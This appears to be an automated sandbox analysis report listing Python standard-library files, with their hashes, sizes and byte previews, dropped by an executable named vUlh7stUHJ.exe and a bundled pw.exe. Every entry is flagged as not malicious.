Preview:	o.......?k;g.........................@...sV...d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e.j.j...Z.G.d.d...d.e...Z.d.S.).a....Exception classes raised by urllib...The base exception class is URLError, which inherits from OSError. It.doesn't define any behavior of its own, but is the base class for all.exceptions defined in this package...HTTPError is an exception class that is also a valid HTTP response.instance. It behaves this way because HTTP protocol errors are valid.responses, with a status code, headers, and a body. In some contexts,.an application may want to handle an exception like a regular.response.......N)...URLError..HTTPError..ContentTooShortErrorc....................@...s....e.Z.d.Z.d.d.d...Z.d.d...Z.d.S.).r....Nc....................C...s$...\|.f.\|._.\|.\|._.\|.d.u.r.\|.\|._.d.S.d.S...N)...args..reason..filename)...selfr....r......r..... C:\winnit\pw\lib\urllib\error.py..__init__....s..............z.URLError.__init__c....................C...s....d.\|.j...S.).Nz.

C:\recover\pw\Lib\urllib\pycache\error.cpython-310.pyc.74678080

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2851
Entropy (8bit):	4.8883884073671
Encrypted:	false
SSDEEP:	48:vSbuQshuDSkJ8eJ/qiWqgpHO26ZenDxp/mdveDI8JG/UOUPkjKbMrHoYwqmAMlna:qbuyDSkJ8eJ/qmgpHF/DxwdveDI84/Ue
MD5:	8AC04B6BCBD9EA0D8D47ABDCF8BF6784
SHA1:	0920B661AC820321167724A42BC8C4DD65CF9465
SHA-256:	13CE9BCBE9215F62C2D7812BA9DB7AB5EBC5768322273BD343D4D070A613881A
SHA-512:	2B46BD322AEF6E41EDBC926A8FA10B9B835D74BFF921A99736C0816E111953F4381E0BDC2AED08BF9927E944CD9E3A0A31DC0B20C988E601BD2EED5B742852C2
Malicious:	false
Preview:	o.........Sg.........................@...sV...d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e.j.j...Z.G.d.d...d.e...Z.d.S.).a....Exception classes raised by urllib...The base exception class is URLError, which inherits from OSError. It.doesn't define any behavior of its own, but is the base class for all.exceptions defined in this package...HTTPError is an exception class that is also a valid HTTP response.instance. It behaves this way because HTTP protocol errors are valid.responses, with a status code, headers, and a body. In some contexts,.an application may want to handle an exception like a regular.response.......N)...URLError..HTTPError..ContentTooShortErrorc....................@...s....e.Z.d.Z.d.d.d...Z.d.d...Z.d.S.).r....Nc....................C...s$...\|.f.\|._.\|.\|._.\|.d.u.r.\|.\|._.d.S.d.S...N)...args..reason..filename)...selfr....r......r.....!C:\recover\pw\lib\urllib\error.py..__init__....s..............z.URLError.__init__c....................C...s....d.\|.j...S.).Nz

C:\recover\pw\Lib\urllib\pycache\parse.cpython-310.pyc.38970520

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	33774
Entropy (8bit):	5.4431276889601925
Encrypted:	false
SSDEEP:	384:0Gxj6W55i3zXy6A9T7A7jJ7IreL5xo5Im4Qf2LMNAsTGZWB3qr4kdj6BnKTEld:0GxoqTU5cra/oLTNA8GYB3qrs8Eld
MD5:	05807C68D3E4DE97A2C9988A02245394
SHA1:	FF062A8851894AC5A08BF4588A64B79AB2363F46
SHA-256:	34794D687A61A43A9F18FC5B31B8FAA8C65B55739D6E99CD83373725D188E35B
SHA-512:	8433761F9E59349DBCDC6E5FB6EE8D6A7190A98C708AE7F52644C52AF2BD94799749AE43E2D8C8C6ED388C45CC6D6C01276F4D2DDC7DC31B296C6A03A751F72C
Malicious:	false
Preview:	o.........Sg........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.d.Z.g.d...Z.d.Z.i.Z.d.d...Z.d.Z.d.Z.d.d...Z.e.e.f.d.d...Z.e.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e.e...Z.G.d!d"..d"e.e...Z.d.d#l.m.Z...e.d$d%..Z.e.d&d'..Z e.d(d)..Z!de._.d+e.j"_.d,e.j#_.d-e _.d.e j$_.d/e j%_.d0e j&_.d1e j'_.d2e j#_.d3e!_.e j$j.e!j$_.e j%j.e!j%_.e j&j.e!j&_.d4e!j(_.e j'j.e!j'_.e j#j.e!j#_.e.Z)G.d5d$..d$e.e...ZG.d6d&..d&e e...Z+G.d7d(..d(e!e...Z,G.d8d9..d9e.e...Z-G.d:d;..d;e e...Z.G.d<d=..d=e!e...Z/d>d?..Z0e0....[0d.dBdC..Z1dDdE..Z2d.dFdG..Z3dHdI..Z4d.dJdK..Z5dLdM..Z6dNdO..Z7d.dPdQ..Z8dRdS..Z9dTZ:d.a;dUdV..Z<e..=dW..Z>d.dZd[..Z?.\.]d.d^d_..Z@.\.]d.d`da..ZAd.dbdc..ZBeCdd..ZDeEeD..ZFi.ZGG.dedf..dfe.jH..ZId.dhdi..ZJd.djdk..ZKd.dldm..ZLd\d@d.d.eKf.dndo..ZMdpdq..ZNdrds..ZOdtdu..ZPdvdw..ZQd.aRdxdy..ZSdzd{..ZTd.aUd\|d}..ZVd~d...ZWd.d...ZXd.d...ZYd.d...ZZd.d...Z[d.a\d.d...Z]d.d.d...Z^d.d.d...Z_

C:\recover\pw\Lib\urllib\pycache\request.cpython-310.pyc.39929776

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	71336
Entropy (8bit):	5.431133899897732
Encrypted:	false
SSDEEP:	1536:2ZcvB/toBL6sxVuJaP6IMydlT2rQuyHuQfaC6x4oinfTQcJ0:2WdtU6AI663Qu46ufMY0
MD5:	7D0CD02AF2C0E6F670108DE9A25D4C5D
SHA1:	ED56F392E223BEC3926B90137F351145F64AEA61
SHA-256:	CAFFB1B37BF6B9F918E41AA48D7183E3B3A89ACE55BB60EDC795328D92D2988D
SHA-512:	7F884C2C06299433ABCC3F0CBB5B230E7FB8813D960AFD091B3053AAA4E9C5D29FF2CDC8BAA8843AA18D0ADF3513DBD3DEB2AB8BACBDCCC2D8F8B96818B8D4AE
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(..d.d.l)mZm+Z+..z.d.d.l,Z,W.n...e-y.......d.Z.Y.n.w.d.Z.g.d...Z/d.e.j0d.d.......Z1d.a2d.e.j3f.d.d.d.d.d...d.d...Z4d.d...Z5g.Z6d.d.d...Z7d.d...Z8e..9d.e.j:..Z;d.d...Z<G.d.d...d...Z=G.d.d...d...Z>d.d...Z?G.d.d...d...Z@G.d.d ..d e@..ZAG.d!d"..d"e@..ZBG.d#d$..d$e@..ZCd%d&..ZDG.d'd(..d(e@..ZEG.d)d..d..ZFG.d+d,..d,eF..ZGG.d-d...d.eG..ZHG.d/d0..d0..ZIG.d1d2..d2eIe@..ZJG.d3d4..d4eIe@..ZKe.jLZMG.d5d6..d6..ZNG.d7d8..d8e@eN..ZOG.d9d:..d:e@eN..ZPG.d;d<..d<e@..ZQG.d=d>..d>eQ..ZReSe.jTd?....rtG.d@dA..dAeQ..ZUe/.VdA....G.dBdC..dCe@..ZWG.dDdE..dEe@..ZXdFdG..ZYdHdI..ZZG.dJdK..dKe@..Z[dLdM..Z\G.dNdO..dOe@..Z]G.dPdQ..dQe]..Z^G.dRdS..dSe@..Z_dTZ`e.jadUk...r.d.dVlbmcZcmdZd..n.dWdX..ZcdYdZ..Zdi.ZeG.d[d\..d\..ZfG.d]d^..d^ef..Zgd.ahd_

C:\recover\pw\Lib\urllib\pycache\response.cpython-310.pyc.74674648

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3465
Entropy (8bit):	4.728516745456491
Encrypted:	false
SSDEEP:	96:sBaL9CzkpnMFDq/vnacKhRVH+nRsxv5C+8/15dzjT:nxunJq33ERVHNvCl/9T
MD5:	4BF8633A6A61F5194990BBCE6454096F
SHA1:	A319AC758817133B8711463B34289A72B381BBE0
SHA-256:	FA80575110C737315F1A9D228EA8F5B16A5F45D02F3C3BCAFBB03D42ED198B1B
SHA-512:	DC7F029BD6BCBA1FA16CFDD65FC30AFF5D6083866E46E06B0B9BD2F9A0AAC34C8ED37168892F2ECB498B04AAA98739866F9BFDB11CE1796B0E5728A4540F99E8
Malicious:	false
Preview:	o.........Sg.........................@...sZ...d.Z.d.d.l.Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).a....Response classes used by urllib...The base class, addbase, defines a minimal file-like interface,.including read() and readline(). The typical response object is an.addinfourl instance, which defines an info() method that returns.headers and a geturl() method that returns the url.......N)...addbase..addclosehook..addinfo..addinfourlc........................s8...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.).r....zOBase class for addinfo and addclosehook. Is a good idea for garbage collection.c........................s ...t.t.\|...j.\|.d.d.d.....\|.\|._.d.S.).Nz.<urllib response>F)...delete)...superr......__init__..fp)...selfr........__class__...$C:\recover\pw\lib\urllib\response.pyr........s........z.addbase.__init__c....................C...s....d.\|.j.j.t.\|...\|.j.f...S.).Nz.<%s at %r whose fp = %r>).r......__name__..id..file..r....r....r

C:\recover\pw\Lib\urllib\error.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2489
Entropy (8bit):	4.639470944288693
Encrypted:	false
SSDEEP:	48:vxZuQSkq8fQydcJR+j/TQ8/qcISXaf7CXy2ravbTl5AJ:vx0QSkq8Yyj/TQ/cISKjSobAJ
MD5:	03686114721E9382F02E9F7BA58C6D75
SHA1:	010D984B477B36EE38BC6F0A3C769D1DE4C8B38A
SHA-256:	17E896A26FF42405F58189DE81A531B17630398CFBC7C9E2B72ED1AC472ACF01
SHA-512:	0CB25AB2DBAD2811AEBF5186FD5D5996BC66AE113D2F19EE56F397840E9F630D224829969774D91E00168105B6DB800B707C15A2CB898FA75BA91348B9D3922F
Malicious:	false
Preview:	"""Exception classes raised by urllib.....The base exception class is URLError, which inherits from OSError. It..doesn't define any behavior of its own, but is the base class for all..exceptions defined in this package.....HTTPError is an exception class that is also a valid HTTP response..instance. It behaves this way because HTTP protocol errors are valid..responses, with a status code, headers, and a body. In some contexts,..an application may want to handle an exception like a regular..response..."""..import io..import urllib.response....__all__ = ['URLError', 'HTTPError', 'ContentTooShortError']......class URLError(OSError):.. # URLError is a sub-type of OSError, but it doesn't share any of.. # the implementation. need to override __init__ and __str__... # It sets self.args for compatibility with other OSError.. # subclasses, but args doesn't have the typical format with errno in.. # slot 0 and strerror in slot 1. This may be better than nothing... def __ini

C:\recover\pw\Lib\urllib\parse.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	43463
Entropy (8bit):	4.67743372821875
Encrypted:	false
SSDEEP:	768:z15Re+AP2AZ6pDPMSejN/3vzXZmErW63SMZ/dqH9qLc48nGLDwzKiu4U5FRyFxXf:z1u+bRoRlpZY0LoKD95FkFxP
MD5:	93EED57FB7B8E0BA840402C2189F2501
SHA1:	7BAEE34ECCF9EB12A2ED4E18033A395E4B19253A
SHA-256:	A70A09CD0CF91D735AE6B121D0F790FC9A8F497918794A72485F1DEAB360DBC2
SHA-512:	5904086E7C9A325083554FD862ED7868C147C33B137AA38DA3F4C9E3E2FB1E15001307130364000AF71BF6ACA89B92B1BEBA828B6AE721F1CC2CF20DC519569D
Malicious:	false
Preview:	"""Parse (absolute and relative) URLs.....urlparse module is based upon the following RFC specifications.....RFC 3986 (STD66): "Uniform Resource Identifiers" by T. Berners-Lee, R. Fielding..and L. Masinter, January 2005.....RFC 2732 : "Format for Literal IPv6 Addresses in URL's by R.Hinden, B.Carpenter..and L.Masinter, December 1999.....RFC 2396: "Uniform Resource Identifiers (URI)": Generic Syntax by T...Berners-Lee, R. Fielding, and L. Masinter, August 1998.....RFC 2368: "The mailto URL scheme", by P.Hoffman , L Masinter, J. Zawinski, July 1998.....RFC 1808: "Relative Uniform Resource Locators", by R. Fielding, UC Irvine, June..1995.....RFC 1738: "Uniform Resource Locators (URL)" by T. Berners-Lee, L. Masinter, M...McCahill, December 1994....RFC 3986 is considered the current standard and any future changes to..urlparse module should conform with it. The urlparse module is..currently not entirely compliant with this RFC due to defacto..scenarios for parsing, and for backward compa

C:\recover\pw\Lib\urllib\request.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	104880
Entropy (8bit):	4.4616704457405785
Encrypted:	false
SSDEEP:	3072:hhI8oMeTXIt9w6jWbSdYOt/su7pxtzQhjortW7OyjarA05XfJtwTJTL6KvS4DGlm:4MeTX49w6jWbSd/t/su7pxtzQh0rtW7n
MD5:	AFE01E917CE572825DA95E2F73C3A182
SHA1:	B594E4DF01E500977FCE80A72D5D394EB88936F2
SHA-256:	A07AF23F83F01C5567676BDE1E4CD9FA58161B1D2BBCE00DB630AE881A011416
SHA-512:	E54F110C9232B72EE23C7B3B35D8FB09B6223372EEF98F7B82092F8912379734F45CCC01DDE6822D2C302E9EAC7E36B0A15A65BA62B1674262184C462EF414F6
Malicious:	false
Preview:	"""An extensible library for opening URLs using a variety of protocols....The simplest way to use this module is to call the urlopen function,..which accepts a string containing a URL or a Request object (described..below). It opens the URL and returns the results as file-like..object; the returned object has some extra methods described below.....The OpenerDirector manages a collection of Handler objects that do..all the actual work. Each Handler implements a particular protocol or..option. The OpenerDirector is a composite object that invokes the..Handlers needed to open the requested URL. For example, the..HTTPHandler performs HTTP GET and POST requests and deals with..non-error returns. The HTTPRedirectHandler automatically deals with..HTTP 301, 302, 303 and 307 redirect errors, and the HTTPDigestAuthHandler..deals with digest authentication.....urlopen(url, data=None) -- Basic usage is the same as original..urllib. pass the url and optionally data to post to an HTTP URL, and

C:\recover\pw\Lib\urllib\response.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2445
Entropy (8bit):	4.431974454129167
Encrypted:	false
SSDEEP:	48:r4BbvTGvQS07lPgWWdq9tsrdyW19ej5wkwBkvR:MBzaQS07lY5cjtWywkwBkZ
MD5:	D531F0A30312F650F962EAA31652AEBB
SHA1:	A565B2AB6F6A05F0681B62B5E2E77B9BC25D3683
SHA-256:	3B79834FB777BCC3601B05C8A2BBFAB1A72BF99B10E5A5D2C20A7C3A4583D0CF
SHA-512:	25BBA9683CC29296DD103473FBDC24CF7037FCC9736494DA749B3BB9A4189B108B2CDC586AEB923BF2B48D147FFBB306D073F2A1BB1430599B8AE74F6CB629E6
Malicious:	false
Preview:	"""Response classes used by urllib.....The base class, addbase, defines a minimal file-like interface,..including read() and readline(). The typical response object is an..addinfourl instance, which defines an info() method that returns..headers and a geturl() method that returns the url..."""....import tempfile....__all__ = ['addbase', 'addclosehook', 'addinfo', 'addinfourl']......class addbase(tempfile._TemporaryFileWrapper):.. """Base class for addinfo and addclosehook. Is a good idea for garbage collection.""".... # XXX Add a method to expose the timeout on the underlying socket?.... def __init__(self, fp):.. super(addbase, self).__init__(fp, '<urllib response>', delete=False).. # Keep reference around as this was part of the original API... self.fp = fp.... def __repr__(self):.. return '<%s at %r whose fp = %r>' % (self.__class__.__name__,.. id(self), self.file).... def __enter__(self):..

C:\recover\pw\Lib\urllib\robotparser.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9697
Entropy (8bit):	4.15994740890475
Encrypted:	false
SSDEEP:	192:LEvpw5Ct9tcVd/2/paTJqSXkkOFGAiRiH57f/ivoiqN9/qVRjmGSEBaL/KK8Wh/R:46Ct9tcVFTJqF7fOQoVVB0GK8WP3
MD5:	A024DF2786691CF05997954F37178BE0
SHA1:	617ACE96E03067AD58490972A1E2122885C19813
SHA-256:	05CED87A4F681014F6A5BF7370680CDCE02B392A559832CB6D2AA2F910F7D5EB
SHA-512:	FA3406801D1D39B9BFCF052A473F297E2782F19F18A5C24139E94088F5AAABC15D1EFE7269E4E7426E13DD4DA0BC92F0A9C661B3325CEE171E3C910EA6820793
Malicious:	false
Preview:	""" robotparser.py.... Copyright (C) 2000 Bastian Kleineidam.... You can choose between two licenses when using this package:.. 1) GNU GPLv2.. 2) PSF license for Python 2.2.... The robots.txt Exclusion Protocol is implemented as specified in.. http://www.robotstxt.org/norobots-rfc.txt.."""....import collections..import urllib.parse..import urllib.request....__all__ = ["RobotFileParser"]....RequestRate = collections.namedtuple("RequestRate", "requests seconds")......class RobotFileParser:.. """ This class provides a set of methods to read, parse and answer.. questions about a single robots.txt file..... """.... def __init__(self, url=''):.. self.entries = [].. self.sitemaps = [].. self.default_entry = None.. self.disallow_all = False.. self.allow_all = False.. self.set_url(url).. self.last_checked = 0.... def mtime(self):.. """Returns the time the robots.txt file was last fetched..... This i

C:\recover\pw\lib\pycache\future.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4129
Entropy (8bit):	5.349736252596738
Encrypted:	false
SSDEEP:	96:GgdNzUuGd+P2sKNUWYom2j8kQAnPPELBG0uY:z4BRRYom1gPG00uY
MD5:	019F8E5C8C1D0200E1FF8C386A791AA2
SHA1:	5DDDE1B4C9FB48211DB1FD7997DD4ECE7090BA64
SHA-256:	4692837A32DEAEBC19B9A739BC1FA8950FD79A83475C43E96F4D52282FF2A417
SHA-512:	F26A699F30C4A778A032EB233E65ECDB426BE5C82C02665CBE0567C40EFE06BEE21BA28999BE21550775BDF03749A8C2A82641BA4318A7F37A59665A73C93597
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

C:\recover\pw\lib\pycache\_collections_abc.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	32923
Entropy (8bit):	5.033200468289584
Encrypted:	false
SSDEEP:	768:qpDc8l+6pg6mG5JlooICwimTmIufuBEQtJHVDOA/8AH:i9l+VVSooICwimT3ufu+AJ1DOcvH
MD5:	E429FFFC34C2156B0BD33A8376004FEB
SHA1:	61EC64C02F8FC006FB824CD24F0E071C0C1DB0FF
SHA-256:	402BE201767EE86CCE7FA388AEF7FCA12AF0CE600506ADE149527E71E0966FFD
SHA-512:	921F8EDA3B949231D118D9B3188032FC3206BC2A69C90EA87F7AAEE0166CFDA01726C6BB55CDDC54E2EAFC5FAE89CCED6CA588DAF06A66EF1A3D92A14F1B9C66
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF.3e(....G.dAdB..dBe;..ZGG.dCdD..dDeGeC..ZHeH.3e$..

C:\recover\pw\lib\pycache\_compression.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4510
Entropy (8bit):	5.1302655424144366
Encrypted:	false
SSDEEP:	96:/enAZIr57c+SHmtPK4Q9XEf9j0K5ULIPmwPu7gKDNWuq4RqOndI:/eNNByEeIOQCDNWeRqOdI
MD5:	120A3275235298D7C43DA8AF6EE7DB24
SHA1:	32F11177DB03A31B26D29A58E527F48810BDD754
SHA-256:	5B32F450ED3E20274BB3F6BB9EB951D0E1F886F8952504B1731D8485F77F6F32
SHA-512:	044BE94319D497EA27ACC1116889AFE58ECBB3319C49BF5BEA4BF15404F42CDDDF2F50DED9F33F0662386BF5884089AAFF222E77AD77DF8E14E84F568A713900
Malicious:	false
Preview:	o.........Sg.........................@...sB...d.Z.d.d.l.Z.d.d.l.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.).z7Internal classes used by the gzip, lzma and bz2 modules.....Nc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BaseStreamz.Mode-checking helper functions.c....................C...s....\|.j.r.t.d.....d.S.).Nz.I/O operation on closed file)...closed..ValueError....self..r.....!C:\recover\pw\lib\_compression.py.._check_not_closed....s..........z.BaseStream._check_not_closedc....................C........\|.....s.t...d.....d.S.).Nz.File not open for reading)...readable..io..UnsupportedOperationr....r....r....r......_check_can_read...............z.BaseStream._check_can_readc....................C...r....).Nz.File not open for writing)...writabler....r....r....r....r....r......_check_can_write....r....z.BaseStream._check_can_writec....................C...s(...\|.....s.t...d.....\|.....s.t...d.....d.S.).Nz3Seeking is only supported on files open for read

C:\recover\pw\lib\pycache\_sitebuiltins.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3545
Entropy (8bit):	5.058774249860524
Encrypted:	false
SSDEEP:	96:XsOn3ih9/uydg7ls3pl+ltJ5+XdaCjteUzCt/BHKGZEIy0EEt:Xs8ifcls3plwtJEXdaIeUzMJty0EG
MD5:	92E11B9D96C5121A4AF1DC6FD9CEF7DB
SHA1:	D977983CC081EDCBA0AA59F125204233CCC5782B
SHA-256:	713936B2CA3FCAF4B83C376B1EA485980DCF425E2C71689728AABC2AA88E0F41
SHA-512:	AB85A619F2F9D9DF75480DF97862831AC0417738C8DB4B3B9F64AC03E650F6A7539BED8F8CABFC1E5EF8D41B5CA943C133ECD7E90781F87BAEFDBE324D87B728
Malicious:	false
Preview:	o.........Sg.........................@...s@...d.Z.d.d.l.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z=.The objects used by the site module to add custom builtins.......Nc....................@...s&...e.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.S.)...Quitterc....................C...s....\|.\|._.\|.\|._.d.S...N....name..eof)...selfr....r......r....."C:\recover\pw\lib\_sitebuiltins.py..__init__....s........z.Quitter.__init__c....................C...s....d.\|.j.\|.j.f...S.).Nz.Use %s() or %s to exitr......r....r....r....r......__repr__....s......z.Quitter.__repr__Nc....................C...s&...z.t.j.......W.t.\|...........Y.t.\|.....r....)...sys..stdin..close..SystemExit).r......coder....r....r......__call__....s................z.Quitter.__call__r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s6...e.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._Printerzninteractive prompt objects for printing the licens

C:\recover\pw\lib\pycache\_weakrefset.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7606
Entropy (8bit):	4.599670974717664
Encrypted:	false
SSDEEP:	192:agoAAmOjav3ze0qLnKFHWpLiEEskjXoNizml+Ws2w13TvqcJlnqJEqBTgztqetKM:kAAbj236LTKF2pLiE3kjXoEzml+Ws2wV
MD5:	DD9D1C18651E57ADE40A76AC327D41BB
SHA1:	B489D67820185F05302C7DA80029B50974468836
SHA-256:	0E942DAD1AF84E09FF26BF5DD61827CE207F0C854D50BF6344AC76516904265A
SHA-512:	9D5E6C154AB3C5B5DACF8BDCFFC9589DC29D896ACEA5C3B070C37BD07B89AA42F62347719AEAA71E2312CB18B36BB2831C49B057565A0D88BD746679D5745BB0
Malicious:	false
Preview:	o.........Sg.........................@...s>...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d...Z.G.d.d...d...Z.d.S.)..........ref)...GenericAlias..WeakSetc....................@...s$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._IterationGuardc....................C...s....t.\|...\|._.d.S...N).r......weakcontainer)...selfr......r..... C:\recover\pw\lib\_weakrefset.py..__init__....s......z._IterationGuard.__init__c....................C...s ...\|.....}.\|.d.u.r.\|.j...\|.....\|.S.r....).r......_iterating..add).r......wr....r....r......__enter__....s............z._IterationGuard.__enter__c....................C...s8...\|.....}.\|.d.u.r.\|.j.}.\|...\|.....\|.s.\|.......d.S.d.S.d.S.r....).r....r......remove.._commit_removals).r......e..t..br......sr....r....r......__exit__....s....................z._IterationGuard.__exit__N)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s&...e.Z.d.Z.d@d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d

C:\recover\pw\lib\pycache\abc.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6749
Entropy (8bit):	5.115759246344479
Encrypted:	false
SSDEEP:	192:Dc2+dPAN6MGWUls1p2N8R6Diag2z9o2Ue4loXLk5ebUtoH:A2+dPZMGxYtag2VXLk5ewc
MD5:	CED38152B6BE26399E762A00AB4129D6
SHA1:	70238D29AC0EEB51EA975B78D73E572308029F4C
SHA-256:	EE5B7839E8CC06DFC9771E2DF22DCEC76137B9A21BFB069D2BE4A5260A3C04FF
SHA-512:	EC8D2B5107E94F9DCE7E0AF5B6B2FE5E902A545969C1830989F6CA108D733238D0B1AF5DE8BCCB4328496370B992876EB1512C95E2BA3FC67CF6A6D208CD2E32
Malicious:	false
Preview:	o.........Sg6........................@...s....d.Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...W.n...e.yH......d.d.l.m.Z.m.Z...d.e._.Y.n.w.G.d.d...d.e...Z.d.d...Z.G.d.d...d.e.d...Z.d.S.).z3Abstract Base Classes (ABCs) according to PEP 3119.c....................C...s....d.\|._.\|.S.).a<...A decorator indicating abstract methods... Requires that the metaclass is ABCMeta or derived from it. A. class that has a metaclass derived from ABCMeta cannot be. instantiated unless all of its abstract methods are overridden.. The abstract methods can be called using any of the normal. 'super' call mechanisms. abstractmethod() may be used to declare. abstract methods for properties and descriptors... Usage:.. class C(metaclass=ABCMeta):. @abstractmethod. def my_abstract_method(self, ...):. .... T)...__isabstractmethod__).Z.funcobj..r......C:\recover\pw\lib\abc.py..abstractmethod...

C:\recover\pw\lib\pycache\ast.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	55737
Entropy (8bit):	5.277287570066156
Encrypted:	false
SSDEEP:	768:M4tQGlgD7UFM0gB2ze0GIHimylhWNbflS8rHKMAsSbUgUU0/9eKQddNhvDqIUy7w:M4+GlgD7UF4B2XNHehW7uVvuIlPgj
MD5:	2FC4DD78CAB96809A83E77137B070653
SHA1:	17FD6E74A4A98643BF6E486F64A8C6AFE290DF80
SHA-256:	BDE3F39008453799909D8C8DCBDC378860CAAA469FD47EDA32B6DA04D3987A02
SHA-512:	5A081B9E82C6055B7D40B494DEF37D32C7F28AB8B65272B81751EE1C46BE960B107BE39825F728AB97D084052F3960992DFCA6A5911666046BABC13055797B5D
